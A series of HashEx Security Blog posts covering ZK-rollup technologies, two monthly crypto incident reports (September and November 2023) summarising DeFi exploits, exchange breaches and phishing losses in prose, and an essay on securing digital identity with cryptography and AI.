zkSync and StarkNet are leading ZK-rollup technologies for scaling the Ethereum network, each employing distinct approaches. zkSync utilizes the SNARK proof protocol, requiring a trusted setup but being less computationally intensive. In contrast, StarkNet uses STARK, which doesn’t need a trusted setup and is quantum-resistant, but is currently more computationally demanding and less mature. Regarding EVM compatibility, zkSync claims 99% compatibility, using an intermediate language (Yul) before compiling into zkEVM bytecode. It also supports Zinc, a Rust-like language. StarkNet, however, focuses on using Cairo, a language designed for STARK-provable programs, and offers a transpiler (Warp) for converting Solidity code to Cairo.

Regarding EVM compatibility, zkSync claims 99% compatibility by using an intermediate language (Yul) before compiling into zkEVM bytecode, meaning ported solutions will work with little changes (compatible). It also supports Zinc, a language similar to Rust. StarkNet, on the other hand, focuses on using Cairo, a language designed for STARK provable programs, and offers a transpiler (Warp) to convert Solidity code to Cairo, aiming for an equivalent experience where solutions work with limited to zero changes.

Polygon zkEVM, developed by Polygon, focuses on EVM equivalence rather than compatibility. It natively accepts Solidity, facilitating easier migration of existing EVM smart contracts. Polygon zkEVM employs a unique Proof-of-Efficiency consensus mechanism and aims for a hybrid data availability model.

Each of these technologies presents unique advantages and trade-offs, shaping the Ethereum scaling solutions landscape. As they evolve, they are likely to significantly influence the adoption and functionality of decentralized applications on the Ethereum network.

Conclusion

Rollups, particularly ZK-rollups, are emerging as promising solutions for blockchain scalability. As technology evolves, we can expect more developments in this area, potentially making ZK-rollups more accessible and widely adopted.

HashEx and Rollup Technology Audits

HashEx, a leader in blockchain security, conducts comprehensive audits across various blockchain ecosystems, including those based on rollup technologies. Whether it’s optimistic or zero-knowledge rollups, HashEx’s expertise ensures robust security and performance for blockchain projects.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

What are ZK Rollups: Key Features of ZK Technology was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Scam Report: November 2023

Polly Traore — Fri, 01 Dec 2023 13:12:53 GMT

In the cryptocurrency world, November 2023 was marked by a series of high-profile security incidents, causing significant financial losses and raising serious concerns about the safety and reliability of various platforms. These incidents ranged from the exploitation of sophisticated smart contract vulnerabilities to cunning external threats, each exploiting different aspects of the crypto infrastructure. This report aims to dissect these incidents, categorizing them into two distinct groups: Smart Contract Vulnerabilities, which include breaches due to flaws in the code of smart contracts, and External Threats, encompassing attacks that originated from outside the blockchain, such as phishing and unauthorized access. This classification not only helps in understanding the nature of each incident but also underscores the diverse range of challenges the crypto community continues to face.

Smart Contract Vulnerabilities

KyberSwap $48.000.000

KyberSwap, a prominent decentralized exchange, experienced a severe exploit across six blockchains, incurring a loss of over $48 million. The attack targeting KyberSwap Elastic exploited a precision error in its code through flash loans and asset price manipulation. This allowed the attacker to drain liquidity pools by exploiting a region with no liquidity and performing precise swaps. The losses affected networks including Arbitrum, Optimism, Ethereum, Polygon, Base, and Avalanche. The sophisticated attack was conducted through two addresses, one for executing the exploit and another for holding the stolen funds, with initial funding sourced from Tornado Cash. Despite audits by ChainSecurity and Sherlock, the exploit was successful. Post-attack, the exploiter hinted at a possibility of negotiation, leaving the outcome for KyberSwap and its liquidity providers uncertain.

dYdX $9.000.000

The dYdX platform, a decentralized exchange, experienced a significant loss of $9 million from its version 3 insurance fund due to a targeted attack involving the manipulation of Yearn’s YFI token. This incident caused a drastic 40% drop in YFI’s value, erasing $200 million from its market cap. The price drop was not due to insider dumping but rather liquidations of YFI long positions on dYdX, which appeared to be a part of a market manipulation strategy. The attack was traced to a single actor who had significantly increased the open interest in YFI on dYdX from $0.8 million to $67 million. This same actor had previously attempted a similar attack on the dYdX SUSHI market. The crash in YFI’s spot market price seemed to be an intentional effort to target the large open interest on dYdX. In response, dYdX acknowledged the event and stated that no user funds were affected. They also increased margin requirements for lower liquidity tokens and are moving towards full decentralization with a standalone chain. However, this move has drawn criticism for perceived hypocrisy and bypassing decentralized decision-making.

Raft $3.000.000

The Raft project, a stablecoin initiative, experienced a significant exploit that resulted in the devaluation of its R stablecoin. The attacker utilized a flash loan to inflate the value of collateral, allowing them to mint 6.7 million R stablecoins. This should have led to a profit of over $3 million. However, by an attacker’s mistake, the profits were mistakenly sent to the Ethereum null address, resulting in a loss for the attacker. The exploit involved liquidating previously opened positions from an address holding excess ETH, which overvalued the collateral. The freshly minted R tokens were then dumped into the liquidity pool, causing the price to plummet. Despite this, the token’s collateral reserves remained unaffected, and users with Collateralized Debt Positions (CDPs) on Raft could still return R and withdraw their collateral. This incident highlights the importance of comprehensive security practices in DeFi, as even projects audited by reputable organizations like Trail of Bits can be vulnerable. It serves as a reminder of the inherent risks in the DeFi space and the need for continuous investment in security measures.

Onyx Protocol $2.100.000

Onyx Protocol, a fork of Compound Finance, suffered a significant loss of $2.1 million due to a well-known vulnerability. This vulnerability, previously exploited in other forks like Hundred Finance and Midas Capital, has led to over $10 million in losses this year. Despite warnings from Peckshield, Onyx Protocol did not respond promptly, leading to a secondary, albeit smaller, attack. The exploit leveraged a rounding error in the Compound v2 code, allowing attackers to manipulate empty markets to drain liquidity. In Onyx’s case, this was facilitated by the recent addition of a lending market for the PEPE memecoin. The attackers took a flash loan, converted it to PEPE, and then inflated the price of oPEPE (PEPE shares) by donating a large amount of PEPE to the pool. This overvaluation of oPEPE was used as collateral to borrow other assets, draining the protocol’s liquidity. The attackers then exploited the rounding error to withdraw the donated funds and repay the flash loan. The stolen funds, totaling 1164 ETH, were transferred to an intermediary address, with most of it (1140 ETH) being deposited into Tornado Cash. The remaining 24 ETH were distributed to on-chain panhandlers. Onyx Protocol had undergone an audit by Certik, but the vulnerability’s impact was more related to market conditions than the codebase itself.

External Threats

Poloniex $125.000.000

Poloniex, a prominent cryptocurrency exchange, experienced a significant security breach, leading to substantial financial losses. The attack was executed through a phishing scheme, where the attackers created a fake website mimicking Poloniex’s interface. Unsuspecting users, believing they were on a legitimate site, entered their login credentials, which were then captured by the attackers. Using these credentials, the attackers gained access to several user accounts on the actual Poloniex platform. They proceeded to withdraw various cryptocurrencies, including Bitcoin, Ethereum, and USDT, from these compromised accounts. The stolen funds were then transferred to external wallets controlled by the attackers. One notable aspect of the attack was the hacker’s actions on-chain, which led to some unexpected results. In their haste to liquidate the stolen assets, the attacker made a significant error by transferring almost $2.6 million worth of Golem Network’s GLM directly to the token’s contract, effectively losing these funds.

HECO Bridge and HTX $99.000.000

The HECO Bridge and HTX, linked to Justin Sun, were compromised due to critical security flaws, resulting in a combined loss of $99 million. The HECO Chain’s Ethereum bridge, vulnerable to a breach in its operator accounts, saw $86.6 million siphoned off. Simultaneously, HTX’s hot wallets, lacking robust security measures, were drained of $12.5 million. The stolen funds, including diverse assets like USDT, ETH, and LINK, were transferred to accumulation wallets.

Binance User Security Breach $27.000.000

A Binance user suffered a significant loss when an attacker targeted their Ethereum address, resulting in the theft of 27,071,365 USDT and 11 ETH. The breach, suspected to be due to a private key leak, saw the victim’s funds, which had been transferred from Binance just nine days earlier, being swiftly drained. In the aftermath of the theft, the attacker meticulously distributed the funds across multiple externally owned accounts (EOAs). These funds were then funneled through various cryptocurrency services, including WhiteBIT, FixedFloat, and SideShift. In a final move to obfuscate the trail, the stolen assets were bridged to Bitcoin using THORChain, complicating the tracking and recovery efforts.

Kronos Research $26.000.000

Kronos Research, a market maker, experienced a significant loss of $26 million due to unauthorized access to some of their API keys. This incident led to liquidity issues at the closely associated centralized exchange (CEX), Woo X. The Taiwan-based trading firm confirmed the loss, assuring that it would be covered internally without affecting any partners. The attack involved draining Kronos Research accounts on four exchanges, both on Ethereum and BSC networks. Funds were transferred directly to the hacker’s address and flowed from CEX wallets via Kronos’ address to the hacker, likely due to whitelist restrictions on CEX withdrawals. This is not the first time Kronos has faced issues, with a previous incident involving disgruntled engineers tampering with code, resulting in a $1.4 million loss. The relationship between Kronos and Woo X, reminiscent of past market dramas, raises questions about the lessons learned in the crypto community.

Conclusion

The events of November 2023 serve as a stark reminder of the persistent and evolving nature of threats in the cryptocurrency space. From the intricate smart contract vulnerabilities that drained millions from platforms like KyberSwap, Raft, and Onyx Protocol, to the external threats that exploited weaknesses in systems like Poloniex and HECO Bridge. The month was rife with incidents that highlight the need for heightened security measures. These breaches not only resulted in substantial financial losses but also eroded the trust of users and investors in the security of these platforms. The incidents underscore the importance of rigorous security protocols, continuous monitoring, and the need for the crypto community to remain vigilant against both internal and external threats. As the cryptocurrency landscape continues to grow and attract more participants, these security breaches serve as a critical reminder of the need for ongoing improvements in security practices and the adoption of robust measures to safeguard against a wide array of cyber threats.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

Scam Report: November 2023 was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Digital Identity: Protecting Your Sensitive Data

Dmitry Mishunin — Wed, 25 Oct 2023 11:23:10 GMT

Every bit of information that we publish online helps create a digital identity. Essentially, it’s a collection of data related to everything a person has ever said and done online. Photos, texts, fingerprints: all that data is collected together and stored somewhere being used in case we need to prove our identity online.

Storing this much sensitive data is convenient on one hand. On the other, it poses a significant danger: any breach can lead to the data being used by malicious actors, which makes its protection a vital step. So the question is, how do we minimize the risk of breach? The answer comes from an unexpected solution.

Artificial Identity

Digital identity can be viewed as usable data, but the truth is, it’s the closest we’ve ever been to creating a digital copy of a human that possesses all the available data about them. Science fiction aside, it makes perfect sense to throw in artificial intelligence and see what happens.

One of the less-discussed applications of artificial intelligence is arguably its primary function –

the possibility of creating a self-learning digital identity.

Machine learning in particular is what can contain and develop the information from a person’s digital profile. And by that, we don’t mean just the information someone voluntarily shares with the world. Aside from our profiles on social media or photos, there are gigabytes of information about each and every person online. Medical records, tax information, and preferences down to the choice of favorite fruit or preferred brands of milk. If used properly, it can provide an endless source of necessary information for an AI assistant.

However, before we begin theorizing about a potentially self-sufficient analog of Siri, we should consider the fact that in case of a breach, all that data can be used by malicious actors. This means that protecting said data is the primary task that should precede any attempts at implementing this theoretical development.

Where Does Cryptography Сome In

If there is a valuable element of blockchains that can be applied for security, it’s cryptography. Specific techniques are used to guarantee data safety and the best way to understand the functionality of each, is to review them one by one. Let’s take a look at the ways cryptography is applied in blockchain.

Cryptographic keys, better known as private keys are used for signing transactions. These signatures are used to prove the transaction’s authenticity and origin. They can be used to restrict access to sensitive information.
Cryptographic hash functions represent data in a string of characters. Changes in the data immediately change the hash itself. Every block in the chain contains the hash of the previous one. This helps to structure information and provide data stamps.
Cryptography is used in both PoW (proof-of-work) and PoS (proof-of-stake) techniques specifically for safety reasons. Both are used to validate transactions.
Encryption can be used for especially sensitive information.
Cryptographic protocols known as ZKPs are used for the prover in case they need to confirm possession of certain information without revealing the information itself.

However, one of the essential points is the fact that cryptography allows encoding the information in seconds, while decoding may take longer even if the decoder possesses everything required. Cryptography can potentially deliver high levels of protection for any type of stored information: it’s much harder to break into a ledger secured by cryptography than into any other time of digital storage. And nowhere it’s more relevant than with personal data.

How Would That Work

The fusion of AI and cryptography unlocks numerous possibilities for developers. A well-secured digital identity could revolutionize the world of digital assistants, creating sophisticated systems capable of analyzing medical history, behavioral patterns, and offering personalized recommendations. However, strict authorization, exclusively controlled by the owner, is essential to ensure no unauthorized access.

A well-secured digital identity can be a tremendous improvement in the industry of digital assistants. The first thing that comes to mind is preparing all the necessary accommodations according to the owners’ preferences. But that is just the tip of the iceberg.

Imagine a digital therapist that knows medical history and symptoms, and can analyze behavioral patterns based on a person’s digital persona as well as private information. Like a human therapist, this system will become more sophisticated and possibly more qualified with time and experience.

This system could be used for accounting, activities, and so on. It’s important to realize that an assistant like this is only possible if we eliminate any possibility of unauthorized access. And authorization can come exclusively from the owner. The synergy between blockchain and cryptography is absolutely necessary for protecting this data.

Before we get over-excited about the automated bureaucracy of the future, let’s consider several other possibilities.

For instance, let’s imagine AI lawyers. A lawyer like this could find a precedent in mere seconds. Something that would take a human lawyer hours or days. Some might argue that this can save lives. An AI lawyer can even predict the most likely outcome of the case based on evidence, witness statements, and even any input data about the jury.

But since AI can’t convey emotion, it will be useless as the main attorney in court. If we involve AI in the legal system, it might sway the decision in favor of logic somewhere where emotions could’ve made all the difference. It will, however, make a great counsel to a human attorney or even a regular user looking into settling certain matters in court.

A similar issue occurs when we consider AI medical consultants. Yes, it can analyze data and suggest a course of action. It can even detect an illness that a human doctor may not be aware of due to a lack of experience and do it fast.

But medical expertise isn’t always based on cold data. More importantly, where logic would suggest surgery, a doctor could recommend medical trials or a different treatment altogether. It’s highly unlikely that we will ever be able to trust pure logic when it comes to making life-altering decisions. And in this case, AI lacks ‘heart’.

Still, coming back to the original point, even when we use AI only for assistance, it gains access to our most private information: health conditions, certain events, statements, confessions, etc. Cryptography allows encoding data and limiting access, for instance, allowing the AI assistant to obtain the necessary information. At the same time, cryptography can limit the AI’s actions to avoid data leaks. The conversation regarding what information can be considered sensitive and who can access it in case of an investigation or signs of possible danger to a person themselves or others is ongoing. Even knowing that this data can be obtained with a court order can be a strong argument against keeping large amounts of private information in one place. This is why for now this futuristic assistant is just a theory. But a theory that shows us the potential of the technology itself.

Digital Identity: Protecting Your Sensitive Data was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Scam Report: September 2023

Polly Traore — Tue, 03 Oct 2023 00:09:12 GMT

In the tumultuous month of September, the crypto realm was shaken by the prominent Mixin Network incident, capturing major attention. Yet, it wasn’t the sole setback. The DeFi landscape also grappled with substantial damages from rug pulls and code flaws.

For a clearer perspective, we’ve segmented the attacks into two types: technical and non-technical. Technical attacks include smart contract weaknesses and oracle interferences, while the non-technical cover exitscams and rug pulls. Stay vigilant with HashEx insights!

Top External Threats

Mixin Network $200.000.000

Mixin Network, a leading decentralized digital asset transfer platform, faced a cloud service vulnerability exploit on September 23, 2023. This incident resulted in a significant loss of $142,041,764 across Ethereum and Bitcoin chains. Skillfully navigating the networks, the attacker transferred assets, converting them to DAI and Ethereum, totaling $118.66M by September 26th on Ethereum. Concurrently, 891 BTC, valued at approximately $23,381,764, was extracted from the Bitcoin chain.

CoinEx $53.000.000

On Sep 12, 2023, the crypto community felt the tremors as CoinEx’s hot wallets faced a formidable breach. Through a private key compromise, a staggering 52,847,077 USD was siphoned off across 9 distinct chains. The audacity of the attackers was evident as they rerouted the funds to their personal addresses.

Stake Wallet $42.000.000

The digital landscape was rattled on Sep 04, 2023, as Stake.com’s hot wallets fell victim to a sophisticated exploit, leading to a substantial depletion of $41,408,903 across Ethereum, Binance Smart Chain, and Polygon networks. Stake.com, a renowned crypto gambling protocol, disclosed the breach of its multifaceted hot wallets on the said date. The assailant infiltrated the private keys, extracting a myriad of tokens and incurring colossal losses. However, Stake.com has fortified user confidence, asserting the security of their funds and the uninterrupted functionality of other wallets. The malefactor meticulously allocated the purloined assets across the impacted chains, initially relocating assets from Stake.com’s hot wallets to a principal address, subsequently dispersing them amongst various EOA addresses. A staggering $13 million in diverse tokens still reside in the affected addresses across the trio of networks.

Coindroplet $23.100.000

On Sep 06, 2023, the crypto sphere was jolted by a cunning phishing onslaught, culminating in a staggering loss of 23,095,489 USD in stETH and rETH tokens. Coindroplet.io, a deceptive platform masquerading with alluring fake airdrops, ensnared an unsuspecting victim. Lured into the trap, this individual inadvertently signed a perilous transaction invoking the increaseAllowance() function. The malefactor swiftly orchestrated two transactions, siphoning off 9,579.21 stETH and 4,850.98 rETH to their domain. These ill-gotten gains were promptly converted to native ETH and DAI, maneuvered through a series of EOA addresses, with a portion funneled into TornadoCash. It’s imperative to note that the assailant’s address has ties to multiple dubious platforms, including coindroplet.io and coindroplet.net.

HTX Global $7.900.000

Huobi Global’s HTX crypto exchange encountered a security breach on Sept. 24, with a staggering $7.9 million in crypto assets compromised. Notably, the exchange claims to have identified the attacker. In a strategic move, Huobi offered the perpetrator a 5% “white-hat bonus” if they returned 95% of the stolen funds. The incident was confirmed by Huobi Global investor Justin Sun, who reassured that user funds remain secure and the platform is now fully operational. As the crypto world evolves, such incidents emphasize the importance of heightened security and vigilance.

Remitano $2.700.000

In a concerning trend for September, Remitano became the latest exchange to face a security breach, losing $2.7M from its hot wallets across Ethereum and Tron chains. The attack, suspected to be a result of a private key compromise, saw a swift response from Tether, which froze assets, reducing the potential loss from $2.7M to a mere $260k. While the exact method of the breach remains undisclosed, Remitano attributed it to a data leak from a third-party source. As the crypto landscape evolves, such incidents emphasize the importance of robust security measures and swift responses to mitigate potential damages.

Balancer $240.000

Balancer, a multi-chain AMM-based DEX, grappled with a frontend vulnerability exploit. This breach led to a significant depletion of 238,000 USD. The assailant, showcasing adept maneuvering, channeled the purloined assets via the bridge connecting the Avalanche and Ethereum ecosystems. Portions of the stolen wealth were also dispersed across multiple wallets. Notably, an attacker-associated address, 0xf998, was credited with 1.04 AVAX from MEXC.

Smart Contract Vulnerabilities

GMBL Computer $770.000

On September 5, 2023, the DeFi arena witnessed a shrewd exploit targeting GMBL Computer, a distinguished DeFi Gambling Protocol on the Arbitrum network. The malefactor ingeniously manipulated the project’s referral mechanism. Exploiting a loophole, they orchestrated “Ghost” wagers, which, while appearing as losses, paved the way for claiming 5% from these illusory bet losses. The assailant, using a strategic tandem of accounts, placed substantial “Ghost” stakes, enabling the secondary account to amass over 8 million $GMBL in referral rewards before halting the exploit. The ill-gotten assets were promptly exchanged for ETH and rerouted to a different EOA. In a surprising turn, 235.5 ETH of the pilfered 471.33 ETH was subsequently returned.

Boost Coin $600.000

On Sep 06, 2023, Boost Coin, a distinguished ERC20 token, fell victim to a calculated exit scam. The orchestrator behind the token exploited a privileged function, withdrawETH, to siphon off liquidity straight from the token’s core contract. A staggering 363.4 ETH, equivalent to roughly 593,267 USD at prevailing market valuations, was extracted. These pilfered assets journeyed through a maze of EOA addresses, ultimately finding refuge in KuCoin.

Conclusion

In the month of September, the crypto community faced a series of disconcerting security breaches, leading to significant financial repercussions. The incidents underscored vulnerabilities ranging from cloud service flaws to frontend exploits and even sophisticated phishing schemes. Platforms like Mixin Network, Huobi Global, and Balancer were among those that experienced these breaches, emphasizing the multifaceted nature of threats in the crypto space.

Prominent strategies employed by attackers included exploiting cloud service vulnerabilities, manipulating frontend systems, and orchestrating phishing attacks. The incidents involving CoinEx, Stake.com, and Boost Coin further highlighted the risks associated with private hot wallets and the phenomenon of rug pulls.

The events of September underscore the critical importance of stringent security protocols, regular audits, and continuous vigilance. As the crypto ecosystem continues to expand and evolve, these incidents serve as a potent reminder of the ever-present challenges and the imperative to fortify defenses against the myriad of threats in the dynamic world of cryptocurrency.

Follow HashEx DeFi Intelligence Ecosystem:
Announcement Channel
Twitter

Scam Report: September 2023 was originally published in HashEx Security Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.

HashEx Blog

Sharing useful information about the blockchain

Let's Work Together! Write now.